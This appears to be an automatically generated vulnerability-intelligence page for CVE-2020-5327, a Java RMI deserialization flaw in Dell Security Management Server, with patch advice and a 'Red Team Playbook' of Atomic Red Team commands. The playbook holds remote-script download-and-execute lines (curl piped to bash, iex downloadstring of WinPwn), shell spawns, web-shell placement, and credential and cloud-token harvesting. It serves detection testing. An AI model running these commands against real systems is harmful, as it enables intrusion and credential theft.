CVE-2020-5327
Overview
This vulnerability is a Java Remote Method Invocation (RMI) deserialization flaw in Dell Security Management Server prior to version 10.2.10. The root cause lies in improper handling of untrusted serialized data within the RMI interface, allowing maliciously crafted objects to be deserialized. The affected component is the server's Java RMI subsystem, which lacks adequate validation of incoming serialized requests.
Vulnerability Description
Dell Security Management Server versions prior to 10.2.10 contain a Java RMI Deserialization of Untrusted Data vulnerability. When the server is exposed to the internet and Windows Firewall is disabled, a remote unauthenticated attacker may exploit this vulnerability by sending a crafted RMI request to execute arbitrary code on the target host.
Impact
An unauthenticated remote attacker can exploit this flaw to execute arbitrary code on the target host by sending crafted RMI requests. Exploitation requires the server to be internet-exposed with Windows Firewall disabled, allowing direct access to the vulnerable RMI service. Successful exploitation can lead to full system compromise, including confidentiality, integrity, and availability impacts, as indicated by the CVSS vector AV:N/AC:H/PR:N/UI:N/C:H/I:H/A:H.
Solution
Dell recommends upgrading Dell Security Management Server to version 10.2.10 or later to remediate this vulnerability. Detailed patch instructions and advisory information are available at https://www.dell.com/support/article/SLN320536. Administrators should ensure the server is not exposed to the internet or that Windows Firewall is enabled as interim mitigations until the update is applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Dell Security Management Server arises from a flaw in the Java Remote Method Invocation (RMI) mechanism, which allows for the deserialization of untrusted data. This vulnerability is particularly concerning because it can be exploited by an attacker to execute arbitrary code on the target host. The issue is exacerbated when the server is exposed to the internet and the Windows Firewall is disabled, creating a significant attack surface. Attackers can craft malicious RMI requests that, when processed by the server, lead to the execution of unauthorized commands. The reliance on Java's deserialization process, which does not adequately validate incoming data, is a critical weakness that can be leveraged for remote code execution.
The primary attack vector for this vulnerability involves sending specially crafted RMI requests to the affected server. An unauthenticated attacker can exploit this flaw without needing prior access to the system, making it particularly dangerous. Once the crafted request is received, the server's deserialization process can be manipulated to execute arbitrary code, potentially leading to a complete compromise of the affected system. Scenarios may include deploying malware, exfiltrating sensitive data, or using the compromised server as a pivot point to launch further attacks within the network. The ease of exploitation, combined with the potential for significant damage, underscores the urgency of addressing this vulnerability.
In terms of real-world impact, the risks associated with this vulnerability are substantial. Organizations relying on the affected Dell Security Management Server may face severe consequences, including data breaches, loss of sensitive information, and operational disruptions. The potential for unauthorized access to critical systems can lead to financial losses, reputational damage, and regulatory penalties, particularly if sensitive customer or employee data is compromised. Furthermore, the ability for attackers to execute arbitrary code means that the implications could extend beyond the immediate server, potentially affecting other systems within the network and leading to a broader security incident.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, ensuring that the affected server is updated to the latest version is crucial, as this will address the underlying flaw in the deserialization process. Additionally, organizations should restrict access to the server by employing network segmentation and ensuring that it is not directly exposed to the internet. Implementing robust firewall rules and intrusion detection systems can help monitor for suspicious RMI requests and block potential exploitation attempts. Regular security assessments and penetration testing can also aid in identifying vulnerabilities before they can be exploited by malicious actors.
In conclusion, the vulnerability in Dell Security Management Server presents a significant threat due to its potential for remote code execution and the ease with which it can be exploited. Organizations must prioritize the patching of affected systems and adopt comprehensive security measures to mitigate risks. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, cybersecurity professionals can better protect their environments and respond effectively to emerging threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Security Management Server | All |
cpe:2.3:a:dell:security_management_server:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5327 |
| dell.com |
GitHub CVE
x_refsource_MISC
|
https://www.dell.com/support/article/SLN320536 |